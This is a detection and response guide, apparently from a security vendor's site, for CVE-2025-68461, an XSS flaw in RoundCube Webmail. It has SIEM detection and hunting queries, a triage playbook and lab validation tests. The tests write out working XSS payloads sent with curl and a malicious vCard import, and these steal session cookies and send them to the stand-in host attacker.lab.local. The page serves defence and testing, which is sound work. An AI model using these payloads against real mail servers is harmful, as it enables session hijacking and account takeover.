Detect RoundCube Webmail Cross-Site Scripting (XSS) Exploitation Attempt in Sumo Logic CSE
Detects exploitation attempts targeting CVE-2025-68461, a stored/reflected cross-site scripting vulnerability in RoundCube Webmail. This vulnerability, listed in CISA's Known Exploited Vulnerabilities catalog, allows attackers to inject malicious scripts via email content, potentially leading to session hijacking, credential theft, or further compromise of the mail server environment. Affected versions include RoundCube Webmail prior to 1.5.12 and 1.6.12.
MITRE ATT&CK
Sumo Detection Query
_sourceCategory=web/access OR _sourceCategory=proxy/logs OR _sourceCategory=mail/webserver
| parse regex "(?P<src_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) .* \"(?P<method>\w+) (?P<uri>[^\"]+) HTTP\/[\d\.]+\" (?P<status>\d+)"
| where (uri matches "*roundcube*" or uri matches "*webmail*" or uri matches "*_task=mail*" or uri matches "*_task=compose*")
| where (
uri matches "*<script*" or
uri matches "*javascript:*" or
uri matches "*onerror=*" or
uri matches "*onload=*" or
uri matches "*<svg*" or
uri matches "*data:text/html*" or
uri matches "*vbscript:*"
)
| parse field=uri "*" as full_uri nodrop
| if(uri matches "*<script*", "script_tag",
if(uri matches "*javascript:*", "javascript_uri",
if(uri matches "*onerror=*" or uri matches "*onload=*", "event_handler",
"other_xss"))) as attack_type
| stats count as total_attempts, count_distinct(src_ip) as unique_attackers, values(attack_type) as attack_types by _timeslice(5m), src_ip, status
| where total_attempts >= 1
| sort by total_attempts descSumo Logic query detecting XSS injection attempts targeting RoundCube Webmail endpoints, categorizing attack types and tracking source IPs across web access logs.
Data Sources
Required Tables
False Positives & Tuning
- Automated vulnerability scanning tools targeting the webmail deployment
- HTML-encoded email content in GET request parameters being flagged incorrectly
- Security testing automation generating synthetic XSS payloads during CI/CD validation
- WAF bypass testing creating intentional XSS patterns in request logs
Other platforms for CVE-2025-68461
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1RoundCube XSS - Basic Script Tag Injection via Compose
Expected signal: Web server logs will show POST request to RoundCube compose endpoint with HTML body containing `<script>` tags. PHP error logs may show sanitization failures if vulnerable version is running.
- Test 2RoundCube XSS - SVG OnLoad Event Handler Injection
Expected signal: Network logs showing POST to RoundCube with SVG onload payload. If victim opens the email in the vulnerable version, outbound HTTP GET request to `attacker.lab.local/exfil/` with base64-encoded cookie data.
- Test 3RoundCube XSS - Stored Payload via Contact/Addressbook Import
Expected signal: Web server log showing multipart POST to addressbook import endpoint. If vulnerability exists, subsequent GET requests to contact detail pages will trigger the stored XSS, generating outbound HTTP requests to `attacker.lab.local`.
- Test 4RoundCube XSS - Verify Patch Effectiveness Post-Update
Expected signal: HTTP response body should NOT contain raw `<script>` tags if the patch is applied — they should be HTML-escaped to `<script>`. Grep count of 0 confirms effective sanitization.
Response Playbook
Triage
- Identify the source IP(s) generating XSS payloads and determine if they are external, internal, or known scanning infrastructure. Check threat intelligence feeds for reputation data on the source IPs.
- Inspect the specific XSS payload(s) detected — determine if the payload attempts to steal session cookies (document.cookie exfiltration), redirect to phishing pages, or load remote scripts. This determines attack intent and urgency.
- Verify the RoundCube version deployed across all webmail instances. Confirm whether the vulnerable versions (< 1.5.12 or < 1.6.12) are still in use, or if patching has been applied. Check `/etc/roundcube/config.inc.php` or the `index.php` version header.
- Review web server access logs for the targeted RoundCube instance in the 48 hours prior to the alert to identify if the attacker performed reconnaissance (user enumeration, login attempts) before the XSS injection attempt.
- Check if any authenticated user sessions were active during the time window of detected XSS requests. Correlate session tokens with subsequent actions (password changes, email forwarding rule additions, contact exports).
Containment
- If exploitation is confirmed or strongly suspected, immediately invalidate all active RoundCube sessions by clearing the session table in the RoundCube database (`DELETE FROM session WHERE changed < NOW()`) and force re-authentication for all users.
- Deploy or update WAF rules to block requests containing XSS patterns targeting the RoundCube installation. Apply input sanitization rules for `<script>`, `javascript:`, `onerror=`, and `onload=` patterns in all RoundCube URL parameters and POST bodies.
- If a specific attacker IP is confirmed, implement a temporary network-level block via firewall rules or cloud security group policies while the investigation proceeds. Preserve the blocked IP list for threat intelligence.
- Isolate the affected RoundCube server from the network if webshell deployment or server-side compromise is suspected following XSS exploitation. Route mail delivery to a backup MX during isolation.
Evidence Collection
- Export the complete web server access logs (Apache/nginx) covering the detection window and 72 hours prior. Preserve in tamper-evident storage (hash with SHA-256). Focus on POST requests to `/?_task=compose` and `/?_task=settings` as these are common XSS injection points.
- Capture the raw email content of any messages delivered to RoundCube users during the exploitation window. Stored emails in the IMAP backend (Dovecot/Cyrus) may contain the XSS payload. Extract message headers, MIME structure, and body for forensic analysis.
- Collect RoundCube application logs from `/var/log/roundcube/errors` and the PHP error log. These may contain stack traces or error outputs revealing which code paths were triggered during exploitation.
- If browser-side execution is suspected, collect browser forensic artifacts from potentially affected workstations: browser history, JavaScript console logs, localStorage/sessionStorage dumps, and any cached email content.
Escalation Criteria
- !Escalate immediately to incident response if there is evidence of session cookie theft or account takeover — specifically if email forwarding rules were added to external addresses, if passwords were changed, or if mail was exfiltrated following the XSS detection.
- !Escalate to CISO and legal/compliance teams if the RoundCube instance handles sensitive business communications, regulated data (PII, PHI, financial), or executive communications, given the CISA KEV designation indicating active exploitation in the wild.
- !Escalate if the XSS payload loaded external resources or established connections to attacker-controlled infrastructure, as this may indicate a supply chain-style attack or pivot beyond the webmail system.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access logs containing XSS payload strings in URI parameters or POST body fields targeting RoundCube endpoints - >
RoundCube database `session` table showing anomalous session activity, multiple sessions per user, or sessions from unexpected geographic locations - >
IMAP message store containing emails with embedded `<script>` tags, event handler attributes, or JavaScript URI schemes in HTML body content - >
Browser cache and localStorage entries on victim workstations showing evidence of injected script execution or cookie access - >
PHP error logs from the RoundCube installation capturing sanitization failures or unexpected input handling errors triggered during exploitation
Tuning Guidance
This detection will generate false positives from automated vulnerability scanners and penetration testing tools. To reduce noise: (1) Whitelist known scanner IPs (Qualys, Tenable, Rapid7 cloud scanner ranges) at the SIEM level. (2) Add a minimum request count threshold (>3 unique payloads from same IP) to filter one-shot probes. (3) Correlate with successful HTTP 200 responses to focus on payloads that were processed rather than blocked. (4) If a WAF is deployed in front of RoundCube, tune to alert only on requests that bypass WAF (status 200/302 from the application server, not 403 from the WAF). (5) Consider time-of-day filters if the RoundCube instance serves a known user population — alerts during off-hours or from foreign geolocations increase confidence significantly. After patching to 1.5.12 or 1.6.12, retain detection rules as threat actors may continue probing unpatched systems elsewhere in your environment or targeting users who haven't cleared cached content.
Hunting Queries
Hunt for advanced XSS payload patterns in RoundCube traffic including cookie stealing, redirection, and obfuscated JavaScript execution — these are more specific indicators of active exploitation rather than scanner noise.
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where RequestURL has_any ("/roundcube", "/webmail", "/?_task=")
| where RequestURL matches regex @"(?i)(document\.cookie|window\.location|eval\(|atob\(|String\.fromCharCode|fetch\(|XMLHttpRequest|\bxhr\b)"
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, RequestMethod
| order by TimeGenerated descindex=web OR index=proxy sourcetype IN (access_combined, apache_access, nginx_access)
(uri="*roundcube*" OR uri="*webmail*" OR uri="*_task=*")
(uri="*document.cookie*" OR uri="*window.location*" OR uri="*eval(*" OR uri="*atob(*" OR uri="*fetch(*" OR uri="*XMLHttpRequest*")
| table _time, src_ip, uri, status, bytes
| sort -_timeHunt for emails delivered through the RoundCube instance that contain embedded XSS payloads in the message body — identifying the delivery vector for stored XSS attacks.
union EmailEvents, EmailUrlInfo
| where TimeGenerated > ago(7d)
| where Url has_any ("roundcube", "webmail") or RecipientEmailAddress endswith your_domain
| where Url matches regex @"(?i)(<script|javascript:|onerror=|onload=|<img[^>]+src=x)"
| project TimeGenerated, SenderFromAddress, RecipientEmailAddress, Subject, Url
| order by TimeGenerated descindex=mail sourcetype IN (roundcube, imap, smtp)
(body="*<script*" OR body="*javascript:*" OR body="*onerror=*" OR body="*onload=*" OR body="*<svg*onload*")
| stats count by _time, from_addr, to_addr, subject, body
| sort -countAtomic Red Team Tests
Simulates an attacker sending an email with an embedded XSS payload through the RoundCube compose interface, targeting the HTML message body input field. This tests whether the application sanitizes script tags in outgoing/rendered email content.
Command
curl -s -c /tmp/rc_cookies.txt -b /tmp/rc_cookies.txt \
-X POST 'http://TARGET_ROUNDCUBE/_task=mail&_action=send' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'X-Roundcube-Request: VALID_TOKEN' \
--data-urlencode '[email protected]' \
--data-urlencode '[email protected]' \
--data-urlencode '_subject=Test XSS CVE-2025-68461' \
--data-urlencode '_message=<html><body><script>document.location=\"http://attacker.lab.local/steal?c=\"+document.cookie</script></body></html>' \
--data-urlencode '_editor_type=html'
# Replace TARGET_ROUNDCUBE with lab RoundCube URL, VALID_TOKEN with valid CSRF token from authenticated sessionCleanup
Delete the test email from the victim mailbox via IMAP: `python3 -c "import imaplib; m=imaplib.IMAP4('TARGET'); m.login('victim','pass'); m.select('INBOX'); m.search(None,'SUBJECT','Test XSS CVE-2025-68461'); m.logout()"`Expected Telemetry
Web server logs will show POST request to RoundCube compose endpoint with HTML body containing `<script>` tags. PHP error logs may show sanitization failures if vulnerable version is running.
Expected Detection
SPL and KQL queries should match on the POST request body containing `<script>` and `document.cookie` patterns. Chronicle YARA-L rule should trigger on the network HTTP event.
Tests injection of an SVG-based XSS payload using the onload event handler, which may bypass basic script-tag filters. This variant is commonly used to evade WAF rules that only block `<script>` tags.
Command
# Step 1: Authenticate and get session cookie
curl -s -c /tmp/rc_session.txt -b /tmp/rc_session.txt \
-X POST 'http://TARGET_ROUNDCUBE/?_task=login' \
-d '_token=&_task=login&_action=login&_timezone=UTC&_url=&[email protected]&_pass=labpassword'
# Step 2: Send SVG XSS payload via compose
curl -s -c /tmp/rc_session.txt -b /tmp/rc_session.txt \
-X POST 'http://TARGET_ROUNDCUBE/?_task=mail&_action=send' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode '[email protected]' \
--data-urlencode '_subject=SVG XSS Test' \
--data-urlencode '_message=<svg onload=fetch("http://attacker.lab.local/exfil/"+btoa(document.cookie))>' \
--data-urlencode '_editor_type=html'Cleanup
Remove test emails from lab mailboxes and clear `/tmp/rc_session.txt` cookie file.Expected Telemetry
Network logs showing POST to RoundCube with SVG onload payload. If victim opens the email in the vulnerable version, outbound HTTP GET request to `attacker.lab.local/exfil/` with base64-encoded cookie data.
Expected Detection
Web access logs should trigger detections on `<svg` combined with `onload=` patterns. CrowdStrike CQL should detect outbound connection from the PHP process if exploitation results in server-side callback.
Tests stored XSS by importing a malicious vCard through the RoundCube addressbook feature. Specially crafted vCard fields containing XSS payloads may be rendered unsanitized when viewing contact details.
Command
# Create malicious vCard file
cat > /tmp/malicious.vcf << 'EOF'
BEGIN:VCARD
VERSION:3.0
FN:<script>fetch('http://attacker.lab.local/c?d='+document.cookie)</script>
N:<script>alert('XSS')</script>;Test;;;
EMAIL;type=INTERNET;type=HOME;type=pref:[email protected]
END:VCARD
EOF
# Authenticate
curl -s -c /tmp/rc_ab.txt -b /tmp/rc_ab.txt \
-X POST 'http://TARGET_ROUNDCUBE/?_task=login' \
-d '_task=login&_action=login&[email protected]&_pass=labpassword'
# Import malicious vCard via addressbook
curl -s -c /tmp/rc_ab.txt -b /tmp/rc_ab.txt \
-X POST 'http://TARGET_ROUNDCUBE/?_task=addressbook&_action=import' \
-F 'importfile=@/tmp/malicious.vcf;type=text/vcard' \
-F '_unlock=loading' \
-F '_framed=1'Cleanup
Remove the imported contact from the RoundCube addressbook via the UI or directly from the carddav/database backend. Delete `/tmp/malicious.vcf` and `/tmp/rc_ab.txt`.Expected Telemetry
Web server log showing multipart POST to addressbook import endpoint. If vulnerability exists, subsequent GET requests to contact detail pages will trigger the stored XSS, generating outbound HTTP requests to `attacker.lab.local`.
Expected Detection
Web access logs will show the import POST with vCard content. Hunting queries for stored XSS (email body hunt) may not catch this variant — use the network-based callback detection in CrowdStrike CQL or DNS logs for attacker.lab.local resolution.
Validation test to confirm that upgrading to RoundCube 1.5.12 or 1.6.12 successfully blocks XSS payloads. Run this AFTER patching to verify the fix is effective. This tests the same attack surface addressed by the CVE-2025-68461 patch.
Command
# Check RoundCube version first
curl -s 'http://TARGET_ROUNDCUBE/' | grep -oP 'RoundCube[^\"]*\"\s*(\d+\.\d+\.\d+)' | head -5
# Attempt XSS injection and verify sanitization in response
RESPONSE=$(curl -s -c /tmp/rc_patch_test.txt -b /tmp/rc_patch_test.txt \
-X POST 'http://TARGET_ROUNDCUBE/?_task=login' \
-d '_task=login&_action=login&[email protected]&_pass=testpassword')
# Test payload rendering via mail view simulation
curl -s -c /tmp/rc_patch_test.txt -b /tmp/rc_patch_test.txt \
'http://TARGET_ROUNDCUBE/?_task=mail&_action=preview&_uid=1&_mbox=INBOX' | \
grep -c '<script>' || echo 'PATCH EFFECTIVE: No unescaped script tags in output'
# Clean up
rm -f /tmp/rc_patch_test.txtCleanup
Remove test authentication cookies from `/tmp/rc_patch_test.txt`.Expected Telemetry
HTTP response body should NOT contain raw `<script>` tags if the patch is applied — they should be HTML-escaped to `<script>`. Grep count of 0 confirms effective sanitization.
Expected Detection
This test should NOT trigger production detections if the patch is working correctly, since the payloads will be sanitized before rendering. If detections fire on the patched version, review whether the detection is firing on request patterns (expected) vs. execution patterns (indicates incomplete patch).